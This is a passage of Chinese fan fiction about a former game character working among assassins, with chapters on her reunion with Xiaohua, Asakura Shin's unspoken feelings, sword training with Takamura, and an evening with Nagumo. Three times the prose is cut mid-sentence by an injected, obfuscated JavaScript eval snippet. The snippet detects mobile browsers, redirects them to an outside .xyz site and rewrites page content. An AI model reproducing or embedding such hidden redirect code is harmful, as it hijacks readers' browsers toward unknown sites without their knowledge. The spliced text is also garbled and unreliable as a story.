【葵:夜子有空吗?可以去接小花放学吗?@夜子】 然后,如同突然间空气被抽尽,群内陷入一片死寂。 我似乎是一个什么不可说的存在。 看了一眼屏幕上方显示的时间,距离小花放学已经迫在眉睫,窗外黑压压一片,乌云从远处倾轧而来,遮去了城市上空大部分的光线。 【夜子:收到。】 5. 就算“离家出走”也还是得帮忙接送放学啦。 而且之前由于胆怯、由于没做好准备,告别的话语我也没能好好和小花讲。 这次,就当作说明会吧。 6. 我没有伞,所以去店里买了一把应该足够两人合撑的大伞,以及一身儿童雨衣。 所幸,小花的学校离我的新住址并不算远,在放学铃打响前一秒,我总算是赶到了校门口。 雨滴淅淅沥沥落下,我后知后觉伸出手接住有些冰凉的液体,仰头时微风吹过,将无措的雨点卷进我眼里。 我向后退了一步。 透明的塑料包装早已被我撕开,我端着抖开的儿童雨衣站在人群中,视野被伞檐遮挡住些许,好在我的身高也算是较为突出,踮起脚尖便能观察到全局。 视线相交汇的那一刻,明明是我俯视着错愕着跑来的小花,那个弱小的、不安的、想着要逃跑的人,却也是我自己。 小花的年纪还小,她的世界里尚未掺杂那些无奈与不甘,只是眼睛亮亮地头顶着书包跑过来,抓住我的衣袖说: “夜子你离家出走回来了吗?太好了!” 片刻,我重新整理好思绪,为她穿上雨衣,以一种开玩笑的口吻说着:“我可是找到了一份工资超高的新工作!想要我回家可没那么容易!” “走吧,我们回家!” 7. 雨越下越大了。 为了方便,我和小花选择搭公交回坂本商店,一路上我们就像之前那样说说笑笑,曾以为会横在我们面前的嫌隙顷刻间消失不见。 但在心里酝酿了许久的道歉终究还是得说出口。 小花鬓角的发丝沾在脸上,我伸手帮忙理了理,略有些不自在地开口: “小花,前两天我一声不吭就离开的事情,我很抱歉没能提前说出口,也很抱歉唯独没和你告别……” 她双手握住我的手,佯怒道:“是喔,小花很生气!所以夜子要给我买很多很多巧克力赔罪!” “啊,好,如果小葵允许你吃的话。” 事实上,在这个家里,要说心智最成熟、内核最稳定的,小葵是第一的话,小花就是第二。 她张开双臂向我笑着拥抱了上来,埋头在我怀里安闲地半躺着,她的云淡风轻并不只是孩童的天真,大概还有从母亲葵那儿耳濡目染得来的独特气质。 因为信赖,所以强大。 小花是在用实际行动告诉我: 就算短暂分开,我们也永远是家人。 8. 她撑着座椅,一下一下晃悠着双腿。 “其实最没精神的人是阿信哦。” 小花向我一一细数着这段我不在的日子,然后如此总结道。 “小陆最多就是哀声叹气了几天,然后不太敢和你发消息。但是阿信却一副快要死了的样子哦!” “虽然后来像是回光返照了一样拼命工作着,但好像老是出错,让爸爸担心了好久呢。” 车窗外的风景被雨痕模糊在远处,犹如胶片卷一般快速后退着,我不住地思索着那时在医院分别的情景。 朝仓信似乎除了意外之外,看不出表情,当我想和他拥抱一下说再见的时候,他却低下了头。 “难道说,他是舍不得我吗?” 一道灵光闪过,我的瞳孔微微放大,仿佛又一次回到了那时的场面。 如果当时我没有那么仓皇地离开,如果我再次转身,会不会就能听到他唇间停留的话语呢? “夜子你难道不知道吗……”反倒是年幼的小花为我指出了这一点,“阿信他除了爸爸以外,最喜欢的人就是你了吧?” “这样吗……”我若有所思地点点头。 9. 而上天仿佛恰巧就是要给我这样一个机会,趁着想说的话还停滞在我喉间,将对话中那个主角送到了我面前。 雨幕果真能隔绝人类的部分感知。 一只沾染着灰黑色漆痕的手几乎与我同时附上了坂本商店尚未修复的移门,那一瞬间我心有所觉,但抬起伞时还是猝不及防与那双雾蒙蒙的眼睛对上了视线。 “啊,前辈!……” 朝仓信穿着一身简单的白色T恤和肥大的灰绿色工装裤,由于淋了雨的缘故,布料近乎透明地贴在他肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15622539|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,露出隐隐约约的肤色。 大概是修车时粘上了污渍,他的脸颊右侧有一道长长的灰痕,不加注意就仿佛猫咪的胡须一般,随着他后退一步的动作颤抖着。 他试图用平常的语气与我对话:“你、你来啦?”眼神却只是死死盯着地面。 商店门前有装挡雨棚并不能成为我们就这样待在门边说话的原因,我先让小花回房去,收了雨伞,拍拍僵硬在一边的朝仓信: “听说你好像很不想我离开你的样子,是这样吗,朝仓?” “啊啊啊啊啊——你你你一定是听错了!!”他捂着脸又往后退了一大步。 可是再往后就要超出雨棚了。 我歪头也走上前,把他往回提了提防止淋雨:“可是小花还说,你第二喜欢的人也是我?” “啊啊啊前辈!!!请和我一起出去走走!” “可以是可以……但为什么一副即将要去火并的表情……”我有些一头雾水,“还有,你衣服还潮着呢,不要紧吗?” “没事的。”他长长呼出一口气后突然变得格外镇静,只是这依旧掩盖不掉他发烧的脖颈,“我不要紧,正好,我也有些话想和你说。” 10. 交代好小花的事后,我和朝仓信并肩走在久违的商店街街道。 他本来还嘴硬,强撑着不想和我打一把伞,但是在我目睹他打了一个喷嚏之后,便默默走到伞下来了。 还顺手帮我接管了雨伞。 雨势渐猛,豆大的雨点打在伞面上,好像在被一柄机关枪扫射着。尽管是朝仓信本人提出有话要讲,可走了这么多路却依旧沉默着的也是他。 手臂时不时摩擦着,我隔段时间便垂眸看一眼他的反应。 结果就是我们磨蹭着,直到所有带座位的便利店全都坐满了,于是不得不又一次坐上公交车随波逐流。 公交车上的空气潮湿而闷热,就连座位也黏着水汽,令人坐立不安。 我一直在等着他开口。 “夜子前辈、不,我还能这么称呼你吗?”他面露胆怯地扯了扯黏在胸口的T恤,快速地朝我瞥了一眼。 我倒是好久没听人这样叫我了,一想到之后的工作里反而要轮到我叫别人前辈,就不由自主地放松下来:“嗯,不如说我很喜欢你这样叫我呢!” “……前辈。”他放低了声音,“我想说,一直以来,我都很感激你对我们的关心,还有我……” 他突然间又默不作声了。 “你怎么样?”我追问道。 “没、没什么。”他着急地摆摆手,“抱歉!只是为了这点小事就麻烦你和我一起出来走了这么多路!……剩下的话,必须要等到我足以站到那个位置才可以……” 朝仓信是一个特别容易热血的人,仅仅是这样一句话,他似乎又想象到了很久以后的未来,嘴角噙着笑傻傻盯着自己的手指。 11. 不过这莫名的觉悟似乎来得并不是时候。 因为公交车不知不觉来到了终点站。我们必须下车了。 再一次接触到室外刮着大风下着大雨的恶劣天气,朝仓信冷不丁又打了个喷嚏。 生怕被我担心一样,我还没做什么反应,他便呵呵笑着摇摇脑袋,雨滴从发丝上坠落,后又沿着小臂流淌下去。 我:“我新家就在附近,你一起过来吧。” 好惨一只落水小狗。 12. 这暴雨实在来得莫名其妙。 朝仓信抹了把脸上的雨水,愣愣地点了点头,转瞬间似乎又想到了什么似的,满脸绯红推着我的后背,一边喊着“那我们跑着去吧!”,一边为我撑起雨伞。 好像生怕我、不,是他自己后悔了一样。 那柄新买的黑色大伞斜靠在我家门外的走廊,沥下的雨水混着灰尘和脚印成了一方浅浅的、浑浊的水洼。 “请进吧。” 关门前,我淡淡看了眼依旧压抑的天空,这场天气预报未曾言明的暴雨,似乎还会下很久很久。 61.猫一直响。 1. 朝仓信曾以一种玩笑的语气展示给刚通上网的前辈看一个帖子。 “【求助】买回家的猫一直在响是为什么?饿了吗?” 利落扎起发辫的前辈认真地逐字念着,看上去一脸困惑。 她似乎不懂。 啊,朝仓信挠挠后脑勺,好笑的事情如果要解释来龙去脉的话,就会一下子没乐趣了啊。 但他还是耐心地和前辈解释了:“意思就是说,猫咪其实是在撒娇,但是这个主人却超级不解风情呢,竟然说‘猫一直响’什么的……” 手指上滑翻动着评论区,他忍不住笑出声:“你看这个热评说的,‘媚眼抛给瞎子看’,大概就是这个意思哦夜子前辈。” 前辈却微微皱起眉头,她说:“诶——万一猫咪真是饿了呢?要是撒娇的话,为什么不直接扑到主人怀里啊?” 2. 笨蛋前辈,这样的话,猫就变成狗啦。 3. 雨滴无色无味,冲刷去车轮上泥点后落地,被来往行人踩踏着,汇成浑浊不堪的液体。 朝仓信有些慌神。 十来分钟前,那个最近没怎么动弹的家庭群聊冒出几条消息,直到陆少糖直接@了他,他才点进去看了眼。 第一眼看过去,只有明晃晃的数字“5”,表示本应有的家庭人数。 第二眼才是正经内容。 他快速抬头瞥了眼在旁边站着的仓田爷爷,随后单手在手机屏幕上输入讯息。 本来还想多补充一句他这里的预估结束时间不会很久了,再次垂眸落到屏幕上时,前辈的名字又一次出现了。 于是心跳缓了一拍。 4. 好想见到前辈。 前辈有买伞吗?前辈最近还好吗?前辈看到他会像平常一样笑吗?他最近特地多去进货了些她爱吃的零食,方便的话他可以偷偷拿一大包…… 停。 朝仓信特地放慢回商店的脚步,任由雨点砸在发梢、肩头、臂弯,脑子里想了这么多,实际上他还没准备好以怎样的姿态面对那个人,不妨走慢点,最好能和她到达的时间错开。 一遍遍复习着那些往日的光影,朝仓信挣扎着把自己连同某些隐秘的快乐从那些回忆里连根拔起。 已经完全搞不明白了,关于前辈究竟想做什么,以及她怎样看待自己。 苦恼着,烦恼的源头便如同天降般降临在面前。 怎么会这么巧合地同时到店啊。他在心里默默为自己奏响了一曲挽歌。 小花在前辈看不见的角度偷偷向他眨眼,比着“Fighting!”的手势,随后说着做作业就跑去二楼了。 而且「阿信,我为你说了些好话哦!」这样的心声是要搞哪样啊? 5. 朝仓信跟在心心念念的前辈身后,暗中恨恨想着,都怪这坏天气。 其实他也知道,有关前辈的一切,他并不是想不明白,更多的是不愿意去想。于是在今日,他被雨水冲刷得干净,他在前辈不经意的拷问下毫无准备近乎赤裸,他差点一股脑儿把这几天的思绪全部脱口而出了。 这可不好。 他问了她今后还能否以“前辈”相称,实际上是在迷茫『百龙夜子』和『烈焰』看到的,究竟是怎样两个不同的世界。 他想说“一直以来感谢你对我的照顾”,最后由于不安还是将句中的“我”替换成“我们”。 他说,有一句话他得等到足够强,强到足以昂首挺胸站到前辈身边,才能说出口,意思是:前辈你等等我好不好?时不时回头施舍我一个眼神好不好? 但他想,前辈不会懂的,就像她理解不了猫为什么会响。 6. 雨一直下。 路过宠物店的时候,朝仓信看见有只布偶猫在覆满水汽的玻璃门边伸着懒腰,那眼神直勾勾盯着他。 「喵。人,要去哪里?」 他要去夜子前辈家里了。就这样脑中空无一物地、浑浑噩噩地。 “前前前辈,我就这样去你家,是不是不太好啊?” 又着急得咬到舌头了。好逊。 前辈把门窗都关好了,防止有顽固的雨滴闯进房里,她闻言头也没回,理所当然一般回答道: “能有什么不好的?比起这个,你倒是走进来呀。” 也是。 朝仓信无措地站在玄关,由于害怕浑身湿透的自己弄脏前辈的新房子,于是不敢向前一步。他想,前辈这样强大,本也无需担忧一般女孩会担忧的问题。 于是,他就心安理得地来前辈家做客了。 不,只是为了躲雨。 7. “这个雨一时半会儿停不了吧?” 前辈往窗外看去,自言自语着,“朝仓你要不去洗个澡换身干净衣服?” “可、可以吗?但是算了吧,我也没有可以替换的衣服……” “你穿我的衣服好了,有好多一模一样的文化衫,我去给你拿。”前辈风轻云淡地从他身边走过,从门口的道具箱掏出一件眼熟的上衣。 随即像是想起了什么似的,眼睛一亮:“你快去你快去!出来有个惊喜给你看!” “好。”朝仓信点点头。 在异性朋友家里借用卫生间洗澡这种事,朝仓信已经提升了免疫阈值,他只是红着脸快速从浴室里匆匆走了一遭。 他毫不在意。他毫不在意。毫不在意。这样默念着。 闭眼、将衣服抖开、套头、伸手、不要在意布料摩擦过皮肤的触感、不要想象前辈穿着这件衣服的画面、最后把衣服的褶皱抚平。 其、其实也没有那么难克服嘛! 哈哈哈! 朝仓信对着雾气朦胧的镜面叉腰,勉为其难地为自己鼓劲,镜子里模糊的自己,他本人也看不清是什么表情。 8. 水汽散去,温度一点点下降,镜面上的雾气凝成水珠以不规则的崎岖路径一路滑下,而他离开时脸颊又红了几分。 在不为人知的角落,他曾伸出手指装作随意地在镜子上点了几个点,不经意看去或许会误认为是不小心擦过的划痕。 『シン』 等到下次雾气弥漫时,那字符也会再次悄然浮现吧。 9. 所以惊喜是什么? 前辈喜滋滋地从厨房端出一盘冒着热气的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639082|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苹果派,见他正巧从浴室甩着发尾水珠走出来,便大跨步冲了到他面前,看起来超级开心地展示着: “朝仓你看!我已经学会烹饪了哦!” 他为前辈的喜悦同样感到开心。 拿起其中一片放进嘴里认真品尝着,其实也能发现这只不过是加热了下预制产品,不过只要前辈高兴就好了。 他坐在沙发上听着前辈竹筒倒豆子般的讲述,仿佛自己也参与进了她的生活。 “神神廻真是个好人啊,这个苹果派也是他教我做的。” “说起来要吃这个奶糖吗?大佛说很好吃来着,所以我就在家里准备了很多。” “……” 不知不觉间,他垂下了头,来自苹果的清甜似乎也逐渐苦涩。 前辈的世界,如今一片广阔,有了更多的人,更多的风景,更多的重要之物,而他,坂本商店的他们,是被抛弃在身后的吗? 不是这样的,他心里清楚。 前辈不会抛弃商店,但是如果只是单单一个“朝仓信”的话,就是未知了吧。 眼神无意间瞥到沙发另一边上挂着的黑色西装外套,那种板正的版型,很符合如今ORDER的身份呢。 他转移话题般开口说着,但前辈看了眼就摆摆手说:“那不是我的,是南云那家伙落在这儿的。” 啊,算了,他还是闭嘴吧。 10. 暴雨毫无预兆地停止,好像一个蛮不讲理的孩童,想来就来想走就走。 用“仓皇”二字来形容他的逃离刚刚好,朝仓信在玄关向前辈鞠了一躬,絮絮叨叨说了一堆大概是关照还不是其他的废话,总之意义不明。 他也没敢问前辈是否还会有回来商店的那一天,离别的那天前辈对此脸色就不是很好,大概还是不问为好。毕竟说到“回”这个词的话,前辈果然还是要回游戏里那个家的。 前辈把伞送给了他,以防不时之需,黑色的沉重大伞在手边点着地面,朝仓信在告别那座房子后终于卸下力气,再也维持不下笑脸。 心事如同青苔疯长,被暴雨冲刷,被车轮飞溅的泥浆吞没,明明做好了决定,内心却依旧无比动摇。 距离太远,距离太近,一时都陷入不可知的对自己的拷问——究竟是想成长为能够对前辈有用的男人,还是仅仅出于私欲想要更靠近她一点。 有什么用呢?真正站在她身边的时候总归会脑袋空空,只是一味像卷起尾巴的猫一样使劲叫唤。 11. 回到商店的时候,葵侧头问他:“怎么样?” 朝仓信回答道:“她过得很开心的样子。” “人家在问你怎么样啦。” 一桌人都装作漫不经心吃东西,实则个个都偷偷竖起耳朵关注着这边的动静。 他吞下一口米饭说:“没什么大事。前辈给我吃了些苹果派。很好吃。” “哎……”众人都叹了口气。 少糖在桌底踹了他一脚:“你还是吃饭吧。” 12. 朝仓信并不能怎么样。 他在空荡荡的房间辗转反侧。 无论他是哭是笑,都只不过是猫一直响。 62.千锤百炼 1. 高强度的任务与那时闲散的站柜台工作不可同日而语。 再次与太刀相伴的日子充满着血腥的气味,我捏着鼻子挥挥手驱散沉重的空气,仿佛也挥别了刚入职那会儿对业务不太熟练的自己。 但我依旧是见习生。 甚至连一次会长的尊荣都没见到过。 杀联总部大厦已重新修缮完毕,恢复了那副高高在上的、恢宏严峻的模样。得益于我见习生的身份,结束了ORDER的一般任务后,我常常在大楼里跑上跑下,也因此和办公室的大家都混得很熟。 同事间私下里还拉了一个小群,群名为“烈焰不转正本群就不改名”。 我看着日渐丰盈的手机好友界面,仿佛又回到了那天在伊豆南云和我一同搭乘的那班电车,他说过,“你以后会有越来越多的联系人”,我或许明白了些许他说这话时的神情: 我终会走进一片更为广阔的天地。 2. 南云抱着酒瓶子盘腿坐在我家沙发上,在一旁大佛懒洋洋抓着我的手臂,无聊地切换着电视频道,而厨房时不时传来乒铃乓啷的锅碗瓢盆声。 “会长那人,也就长那样啊……”南云眼里闪动着狡黠的光,“要不要下次给你偷拍张照片看看?” 我摸了块糖:“诶?也用不着啊?” “哦,挺好啊。”南云嘴角翘起,“不过就算你说想要我也不会真去给你拍的。” 我瞪了他一眼。 每次我们几人凑巧闲下来就会像这样小聚一番,虽然不知从何开始聚会地点就变成了我家。 “阿豹怎么还没到。”我往门口张望了一眼。 神神廻端着一盘装点精致的玉子烧走出厨房,弯腰放到茶几上,眯眼坐下:“没看消息?他不是临时有任务走人了吗?” 闻言我满是遗憾地垮下肩膀:“又有任务啊……不过等我以后和他搭档了就会轻松一点了吧?” “等一下!?搭档?”南云唰地一下从座位上弹起,“不是、我还以为……” 一瞬间,三双黑漆漆的眼睛一齐盯上了我——“难道说,我、没和你们说过吗?” 我微微后仰。 啊,好像真没有。 “咳咳,大概一个月前,我就和阿豹说好了,让他当我‘师父’。” 南云抽着气摇晃起我的胳膊:“为什么为什么为什么不选我啊!”而我身体的另一边则被大佛占据着,她没有说话只是从下方死死盯住我,好像在用眼神说“快给个说法”。 面对这左右为难的情景,我拨弄着刘海推开了他俩:“别这么激动嘛,你看神神廻多镇静。” 神神廻后退一步:“……想干嘛。” 3. 后来,我们一边就着神神廻的厨房大作,一边讲起了关于日后搭档的来龙去脉。 南云眸中流转着某种熟悉的光彩,我心中一动警铃大响: “你可别又出什么损招在阿豹身上,然后把这事儿搅和了。” “哎呀,小烈焰~你想太多啦~我怎么会做这种事呢?”他笑眯眯地说着。 算了,我姑且相信吧。 4. 『希望能有机会接触到篁。』 『希望能变得更强。』 这是我行动的出发点,可是目前途径一通过搭档阿豹碰运气,途径二ORDER开会,都屡屡碰壁,这个神仙一样的前辈总是不知所踪。 好歹神神廻当时也给我提了些建议,比如说试着用用这边工匠打造出来的刀。 但是事实令人绝望。 一个月来,我已经用废了十来把刀了,杀联仓库的管理员恐怕见到我都要害怕。 我随手又拿起一把在手中掂量着:“那个,我想问一句,你们这些刀,都是哪位工匠打的啊?” 在一旁矜矜业业陪同我挑选的管理员尴尬地笑了一声:“是杀联的工厂做的……” “工厂?好罕见的名字。” “不是……” “算了,这次我就要这把吧!”我拔刀在空中随意甩了两下,“你们帮我告诉那个人,下次打刀的时候做扎实点,注意下火候和用的材料,之前那些刀我稍微用点力就折了啊。” 杀联的这座仓库并不在总部,因为都是些不常使用的冷兵器,所以便布置在了郊区的地方。 好在这地方我已经来过数次,出门后便吹着冷风熟练地步行去附近的车站等公交车。 眼看距离下一班车还早得很,比起干坐在路边吸汽车尾气,我还是散步去周围买点零食吃吧。 芝士热狗棒还有些烫嘴,轻轻咬上一口,细碎的面包糠不是粘在嘴角就是哗啦掉落到纸盒里。冷风吹得涌出的热芝士都快定了形,我赶紧跑去一旁楼底的长椅上坐着,一手挡着风飞快地将热狗棒几口解决了。 唇边感觉粘上了番茄酱,黏糊糊的有些难受,可惜没带餐巾纸。 “打扰了,请问你有……诶?” 我扭头正欲向一旁坐下的路人借纸,结果! 无心插柳柳成荫! 老人的存在感并不高,可仔细看去,灰白的发丝依旧掩盖不了他浑身逼人的强大气场。他一言不发,双目紧闭,岁月在他皮肤上沉淀出沟壑,乍一看就是一个普通的老头,唯独手里那柄撑着地面的太刀,在我眼中那样显眼。 已经顾不得其他了,我日思夜想的那个人就在眼前,脑中却还在纠结该先问候他的太刀还是先请教他怎么打到刀长之外的地方。 然而篁先生却先一步动作了。他动作如同鬼魅一般,毫不起眼地转移去了地下停车场的方向,我没有一秒迟疑,也立刻抄起新太刀就向前跑去。 5. 来自地面之上的亮光还未完全消失,我就嗅到了前方一股浓厚的血腥味。 他是在执行任务吗?还是偶然遇见? 走在前方的篁依旧没有要开口说话的迹象,我只是加快了脚步跟紧他,留意着周围是否还有其他奇怪的动静。 而那刀光正是在刹那间闪出了。 我在感知到那气流的第一时间便回身侧跳一步躲过坠落的砖块,眼神始终追随着那柄看似平平无奇的太刀。 那头的骚动终于从黑暗中现身,一群形态各异的人类叫嚷着便攻了上来,我听不清他们在说什么,也没心思去听。 我并不关心他们怎样造成了那浓重血腥味,不关心他们做了什么坏事,他们是谁,不关心篁为什么要杀了他们;我只是想看清那把刀行进的轨迹。 篁的拔刀干净利落,每一刀的落点仿佛都只是恰好在那儿,而那些人是自动撞了上去似的。他的身高并不高,斩出那些超广域攻击前似乎都以跳跃或冲刺辅助,然而即便这样,那惊人的刀气依旧令我移不开眼。 “这就死光了?还没看够呐……” 我意犹未尽地也随之纳刀,本来还以为今天蹭上了一个现场版超长跟练,没想到仅仅三分钟就结束了。 篁在战斗时似乎使用了一门我从没听过的语言,不过我却有种“能听懂”的错觉,感觉他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649281|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大概是在说清理渣滓之类的话。 把多余的思绪抛去,我再一次跟上老人的脚步,终于开口发问: “我也想练出那样的刀法,篁先生,我下次还能来参观吗?” 虽然做好了一定的心理准备,可实际看到人家不理我,内心还是有些失落的。 没事,毕竟神果然还是神呐。 但我生性还是个爱说话的,既然他没把我赶走,我就默认自己还可以呆在他身边。 “不过,这种清理世界上的人渣的愿望好宏大啊……像我就只是想找人顺带多赚点钱呢。” 篁依旧没理会我,径自走向路边停着的一辆黑色轿车扬长而去了。 6. 对于太刀,我向来都有着百分之百的热忱,无论是商店时期,亦或是现在忙碌的ORDER时期,我都没中断过每日的基础练习。 早晨起床,先练习拔刀、挥刀的基本动作。 夜晚睡前,检查当天用刀的损耗度,挑选适合的砺石打磨、保养。 每个白天和黑夜,都保持着对太刀的1000%绝对爱心。 倘若有什么我从没见识过的厉害招式,我不动摇的可能性为0%。 可唯独篁的打法我模仿不来,就算感觉动作相似了些,功效也远远不及他。 不过即便苦恼,我的眼前也还是有着一线光亮的。 ——我发现郊区那一片的长椅,似乎是这位老人的固定刷新点。 在接下来的几天,我都怀着碰瓷的心情去那儿偶遇篁先生,巧就巧在还真被我误打误撞遇见了。 我就像篁的小尾巴一样,他走到哪儿我跟到哪儿,停车场、废弃楼房、化工厂,好多地方都去杀过一遍了。 基本上,我每天的日程都是如下这样的循环: 高效快速地做完当天领到的任务,在任务中试图复刻篁的动作并失败,有50%的几率将新刀弄断,并100%前往郊区领取新刀,在附近游荡“偶遇”篁老爷子,光明正大尾随他做任务,试图模仿及参透他的动作要点并失败。 在我锲而不舍的努力之下,我和篁的关系已经进化到某天我突然想起来是不是需要打电话给弗洛塔善后但他用刀制止了我拿手机出来的程度了。 7. 哦,我并没有为此沾沾自喜啊。 篁老爷子主动和我互动了这种事,我根本就没有洋洋得意或者期待有人来问我哦。 8. 不过,每天苦恼的事还是没有解决。 我自认为我这个炎火村小英雄只是活了不到二十年就如此厉害也算是个小天才了,领悟能力应该也不至于这么差,但事到如今我真要怀疑我自己了。 我难道真是个傻瓜吗? 先前的一切只是我大力出奇迹吗? 又一天的傍晚,在某个不知名的角落,篁结束了战斗而我却依旧没看明白。 正处在一种寻常的失落中时,一道寒光幽幽闪过。 篁第一次正面走到我面前纳刀,“噌”一声,太刀纳入刀鞘。 他垂着头看不清神色,但干涸的嘴唇微动,发出不明意义的音节。许久后正常的日语才从他喉间缓缓而出。 “刀,此乃武器。” 他的声音低沉而嘶哑,就如同灰暗仓库中蒙尘的某柄名刀,不起眼却富有力量感。 我眨了眨眼,这句话在脑中浅淡地滑过一遍,回过神来面前的人却又一次如同神隐般消失不见。 或许我真的邂逅神明了也说不定,我想。 63.间谍科诡计男 1. 好些时候我的房子里都不止我一个人住。 说的就是这种情况: 傍晚我刚回到家躺在地板上回复精力时,南云一通电话就打过来了。 “烈焰烈焰,你家就你一个人吗?” 我环视一周,猫依旧不知所踪,还在外面游荡像是不准备回来似的。 我:“对。” “告诉你一件很不幸的事,我的车现在抛锚在你家楼下了,所以我想上楼坐坐。” “好的。” “在你家吃晚饭。” “好的。” “我有几部想看的电影。” “好啊,我去开电视机。” “……你不觉得我有点得寸进尺吗?” “还好吧,你不是一直这样吗?” 我实在没想到有朝一日“得寸进尺”这个词能从南云本人口中讲出来。 2. “咯吱。” 门外传来钥匙转动声。 南云提着一袋热烘烘的KFC坐到我身边。 “你来啦。”我盯着电视屏幕思索应该怎么调成DVD模式,感觉有一丝不明来源的异样,但很快就被食物吸引去了注意。 最近由于一直四处奔波的缘故,都没怎么好好吃饭,上次偶然提了一嘴想吃炸鸡后,没想到就有一个全家桶天降到我面前。 塑料手套的质量并不是很好,不仅容易起静电,而且油炸物渗出的油渍还透过手套粘到了我手指上。 我皱了皱眉头。 南云并没和我一起吃,他慢条斯理地挑着纤长完整的薯条放进嘴里,乐呵呵地同我开着些普通的玩笑。 然后突然就在这些玩笑间掺杂进去一条重磅消息: “大概明天你就能收到转正的通知了哦。” 甚至香喷喷的上校鸡块都显得索然无味了,我倒吸一口凉气:“为什么你知道了我本人还不知道?” 他笑而不语。 “好吧。”我耸耸肩,“那怎么这么突然,我最近也没做什么特别成功的任务吧?” “我司惯例罢了。”南云单手撑着额头,“毕竟现在也已经12月了。” 12月,是什么特别的日子吗? 向他投去不解的视线,南云却回敬我另一种可怜的目光: “因为是年底了啊,今年他们还堆积了尤其多的业务给ORDER这边……所以我们做不完的任务就拜托你咯!” 我吃完了。 南云又说:“怎么样?要不要和我搭档,和我在一起的话会很轻松哦……” “不要。”我果断拒绝,“都说了要和阿豹一起了!而且我可不要‘轻松’,我还要练习刀法!” 南云遂闭嘴。 3. 我把这个好消息告诉了杀联的群友们,然后终于可以把那个阶段性群名改掉了。 群友们欢呼了一分钟,我再次点进去查看时,发现新群名被杀事部的椎名小姐改成了“烈焰已转正,群主请大家喝奶茶”。 4. 我好像是群主来着。 5. 吃完炸鸡越久,我越觉得在室内微凉的空气中,指尖还有唇边滑腻腻的油渍令人不爽。 方才在听南云讲话所以没工夫去洗手,现在距离上个话题终于告上一段落,我赶紧站起身往洗手间走去。 回来重新坐下的时候,南云正突发奇想般探头目光炯炯地紧盯着我堆起来的一堆鸡骨头。 “你干啥呢?学占卜吗?” 他笑着对我打横伸出食指,未曾言语却和我靠得越来越近。最后,那根温热的、带着字符刺青的手指抵在我尚且沾着水珠的唇瓣之间。 “咬下去。” 像是为了中和这句话里的命令意味似的,末了他又加上一句,“嗯……会怎样呢?” 表示疑惑的“啊”字发音还未出口,南云便像是洞悉了我下一步动作似的,那手指不绝不休追了上来。生硬的骨节微微磨着仅隔着几毫米皮肉的门牙,那触感格外真实。 他的眼神随性却暗藏汹涌,我没多想便无意识张开了嘴,犬齿先于大脑一步做出咬合动作,回过神来,我已经和近在眼前的南云大眼瞪小眼很久了。 而且还很没礼貌地叼着他的手指。 南云的手指本来就很是白净,快要咬出血洞来的咬痕在其上显得格外扎眼,不过在他指关节处纹身的衬托之下倒也还算不突兀。 他语气十分平淡地“哇哦”了一声,随即像是发现了什么稀罕物将手指放到眼前仔细观看着,看得我心下更羞愧了。 “抱歉啊……我一直很难控制好和人触碰的力度,很痛吗?” 他摇摇头:“没有哦。我只是看到那堆吃干净的骨头被烈焰啃得破破烂烂的样子,很好奇你的牙齿罢了。是我自己想试试的。” 虽然不清楚前后二者之间有何联系,不过为了避免重蹈覆辙我果断把吃剩下的垃圾扔掉了。 南云还在一边摩挲着手指边缘感叹:“那堆骨头还真是完全看不出形状了呢,烈焰好像小狗哦……” 我呈大字型躺在地上,伸手也摸了摸我好像很锋利的牙齿,想到的却是另一件事: “最近我有点烦恼来着,身体好像和几年前变了很多……” 抬起手在半空中虚虚地抓了一把,我嘟囔着:“明明以前不会粘上油污啊,灰尘啊这些东西的,我还以为是因为作为游戏角色的缘故。” “是吗?”南云顿了顿,饶有兴味地在我旁边侧躺下,抓住了我那只仍在半空中晃悠的手,“我好像有点儿印象。这是不是说明,你快脱离‘游戏角色’的设定了?” 6. 如果真要做个选择题,那么我果然还是更想回到那个纯粹的“游戏角色”,情愿舍弃作为真人能体验到的、来自这个世界五花八门的触觉。 原因似乎不止是我想要回到炎火村,心中还有另一种隐约的情感在抗拒这个明明能拥有更多感知的后果。 心中不由得涌上一层淡淡的恐慌。 南云追问我:“就算你不想要,我们也不知道怎么挽回。不过,你真的不想体验那些微妙的变化吗?” “其实你说的那些感知上的变化,我在我家乡也能体验到,只不过来到这个世界以后不能罢了。炎火村又不是假的。” “可是这里有那边的世界没有的东西。这样你也不为所动吗?” “没有的东西?”我重复着他的话语思索着,“哪儿有这种东西啊?” “比如现在在你面前的我啊。” “有点儿那个了南云。”我转过身面向他,把我的手抽了回来,“连我都觉得尴尬了。” 他却还不罢休:“难道说,在你眼里,我是可以被谁取代的存在吗?” 我下意识否认了。 “我是一个让你感觉到很无聊的男人吗?” “没有没有。” 